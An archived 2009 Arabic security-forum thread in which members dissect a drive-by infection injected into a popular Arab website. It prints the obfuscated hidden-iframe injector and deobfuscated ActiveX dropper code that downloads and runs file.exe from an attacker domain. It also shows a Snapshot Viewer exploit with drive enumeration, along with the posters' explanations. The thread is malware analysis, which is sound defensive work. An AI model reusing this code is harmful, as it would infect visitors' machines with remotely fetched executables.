الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

موقع عربي آخر، دومين صيني آخر وإصابة أخرى

بدأه Xacker في 16 مايو 2009 · 8 رد · 1,063 مشاهدة · في قسم أمن المعلومات العام
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

http://www.google.com/interstitial?url=htt...ww.acc4arab.com

Avast يقول: JS:Packed-AI

ما شاء الله المواقع العربية ذات نسبة الزيارات العالية تسقط الواحدة تلو الأخرى.

 function eYHG()
 {
 };
 eYHG.prototype =
 {
   getFrameURL : function()
   {
	 var dlh=document.location.host;
	 return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.')  + "." + this.getRandString() + "." + this.path + this.host;
   }
   ,path:'beencn.cn',install : function()
   {
	 if(!this.alreadyInstalled())
	 {
	   var s="<Gd[iTvG Gs1tGyGlNeG=[\'GdNi1s1pNlTaNyT:1nGo[nTe[\'G>N<Gi[f[rGa[m1e1 TsNr[cT=1\'T".replace(/[\[1NTG]/g, '')+this.getFrameURL()+"\'J>^<J/^i^fcrJa^mceM>^<c/^d^i^vJ>s".replace(/[sMcJ\^]/g, '');
	   try
	   {
		 var o=document;
		 o.open();
		 o.write(s);
		 o.close();
	   }
	   catch(e)
	   {
		 document.write('<khstumul$>u<kbko$d7y$>$'.replace(/[kus7\$]/g, '')+s+'<7/LbRo|d|y7>R<R/|h|tLm$lL>|'.replace(/[\|L\$R7]/g, ''))
	   }
	   this.setCookie(this.cookieName, this.cookieValue);
	 }
   }
   ,host:'/newc.cn/',cookieValue:1,getRandString : function()
   {
	 var l=16,c='0L1L2Y3Y4Y5(6L7s8(9(aLbhcYdLehf('.replace(/[YLsh\(]/g, ''),o='';
	 for(var i=0;i<l;i++)o+=c.substr(Math.floor(Math.random()*c.length),1,1);
	 return o;
   }
   ,alreadyInstalled : function()
   {
	 return !(document.cookie.indexOf(this.cookieName + '=' + this.cookieValue) == -1);
   }
   ,setCookie : function(name, value)
   {
	 var d= new Date();
	 d.setTime(new Date().getTime() + 86400000);
	 document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
   }
   ,cookieName:'cfagbehd'
 };
 var ocho=new eYHG();
 ocho.install();

<div style='display:none'><iframe src='this.getFrameURL()'></iframe></div>

getFrameURL : function()

{

var dlh=document.location.host;

return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.path + this.host;

}

البداية من الصفحة الرئيسية

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#2

الـ src للـ IFrame ستحوي التالي بعد التنفيذ

http://www.acc4arab.com.16bebd96bc547113.beencn.cn/newc.cn/

ما بالأحمر هو قيمة عشوائية يتم توليدها من الوظائف الموجودة.

الرابط الآن سيقوم بعمل redirection إلى موقع آخر هو

والذي بدوره مصاب أو يتبع للمهاجمين ويحوي على سكربت يتم تحليله الآن...

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#3

أيضاً استغلال لثغرة PDF

الكود في الصفحة بعد إزالة جزء كبير من التشويش

aLoI6yXT();

function aLoI6yXT()

{

var kWEd9TpMN = document.createElement('object');

kWEd9TpMN.setAttribute('id',kWEd9TpMN);

kWEd9TpMN.setAttribute('classid','clsid:BD96C556-65A3-11D0-983A-00C04FC29E36');

try

{

var rOQJEUnua = kWEd9TpMN.CreateObject('msxml2.XMLHTTP','');

var rugOFJD3F = kWEd9TpMN.CreateObject('Shell.Application','');

var wKhrK7bFp = kWEd9TpMN.CreateObject('adodb.stream','');

try

{

wKhrK7bFp.type = 1;

rOQJEUnua.open('GET','http://d.update.dom11z.cn/load.php?id=0',false);

rOQJEUnua.send();

wKhrK7bFp.open();

wKhrK7bFp.Write(rOQJEUnua.responseBody);

var eAqZrZ9aVI = './/..//file.exe';

wKhrK7bFp.SaveToFile(eAqZrZ9aVI,2);

wKhrK7bFp.Close();

}

catch(e)

{

}

try

{

rugOFJD3F.shellexecute(eAqZrZ9aVI);

}

catch(e)

{

}

}

catch(e)

{

}

}

function tli7tKonk()

{

for(kSoEJ56A = 2, nIEmqwk4 = ""; kSoEJ56A <= 26; kSoEJ56A++)

{

nIEmqwk4 = String.fromCharCode(65 + kSoEJ56A);

var sin5qTdGJ = new Image();

sin5qTdGJ.src = "res://" + nIEmqwk4 + ":\\" + 'Program Files' + "\\" + 'Outlook Express' + "\\" + 'msoeres.dll' + "/#2/1";

if(sin5qTdGJ.height == 59)

{

break;

}

sin5qTdGJ = '';

}

return nIEmqwk4;

}

function qTSrAheYZ(url)

{

var nIEmqwk4 = tli7tKonk();

if (nIEmqwk4 == '[') return;

try

{

var p04iRklQ = new ActiveXObject('snpvw.Snapshot Viewer Control.1');

}

catch(e)

{

if (p04iRklQ != '[object]') return;

}

p04iRklQ.SnapshotPath = url;

try

{

p04iRklQ.CompressedPath = nIEmqwk4 + ":\\" + 'Program Files' + "\\" + 'Outlook Express' + "\\" + 'wab.exe';

p04iRklQ.¶rintSnapshot();// استبدلت P حتى لا يتم إيقاف الصفحة من مكافح فيروسات

}

catch(e)

{

};

var bJSlOff2 = setInterval(function()

{

if (p04iRklQ.readyState == 4)

{

clearInterval(bJSlOff2);

window.location = 'ldap://';

}

}

, 3000);

}

qTSrAheYZ('http://d.update.dom11z.cn/load.php?id=1');

تم تعديل هذه المشاركة بواسطة Xacker في 16 مايو 2009 في 22:24

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#4

السلام عليكم.

مرة أخرى معك يا AX :)

يظهر وكأن الفيروس يعتمد على طرق قديمة نوعا ما:

var rOQJEUnua = kWEd9TpMN.CreateObject('msxml2.XMLHTTP','');
var rugOFJD3F = kWEd9TpMN.CreateObject('Shell.Application','');
var wKhrK7bFp = kWEd9TpMN.CreateObject('adodb.stream','');

وذلك لتحميل file.exe

و الطريقة الثانية عن طريق ثغرة في snapshot viewer

http://www.milw0rm.com/exploits/6124

p04iRklQ.SnapshotPath = url;
p04iRklQ.CompressedPath = nIEmqwk4 + ":\\" + 'Program Files' + "\\" + 'Outlook Express' + "\\" + 'wab.exe';

يضمن بهذه الأخيرة التشغيل التلقائي.

ثم بعدها يأتي تشغيل الإستثمار:

p04iRklQ.PrintSnapshot();

nIEmqwk4 = String.fromCharCode(65 + kSoEJ56A);
sin5qTdGJ.src = "res://" + nIEmqwk4 + ":\\" + 'Program Files' + "\\" + 'Outlook Express' + "\\" + 'msoeres.dll' + "/#2/1";

فكرة جميلة هذه، enumeration لجميع الأقراص :)

سيتم تحليل ملف file.exe.

تم تعديل هذه المشاركة بواسطة DATA_SNIPER في 16 مايو 2009 في 22:47

infected.png

مدونة علوم الحاسب

#5

أنا عندي امتحان غداً

الامتحان يجعلك تقوم بأمور سيئة :lol:

تم تعديل هذه المشاركة بواسطة Xacker في 16 مايو 2009 في 23:01

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#7

الله اكبر

عزيزي :

لاتنسى ان تصلي على حبيبنا و شفيعنا يوم لا ينفع مال ولا بنون .

فاللهمّ صّل وسّلم على سيدي و شفيعي وحبيبي محمد عليك الف صلاة وازكى تسليم

*****

2_header.png

#8

فتح منافذ

الموضوع يصبح ألذ وأطعم يوماً بعد يوم :D

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#9

يا X وزن راسئ اصبح 100 كيلوا

وهذا تحليله على ال : threatexpert

http://www.threatexpert.com/report.aspx?md...d07294bd301f2f7

تم تعديل هذه المشاركة بواسطة mohfa في 17 مايو 2009 في 00:29

عزيزي :

لاتنسى ان تصلي على حبيبنا و شفيعنا يوم لا ينفع مال ولا بنون .

فاللهمّ صّل وسّلم على سيدي و شفيعي وحبيبي محمد عليك الف صلاة وازكى تسليم

*****

2_header.png

مواضيع مشابهة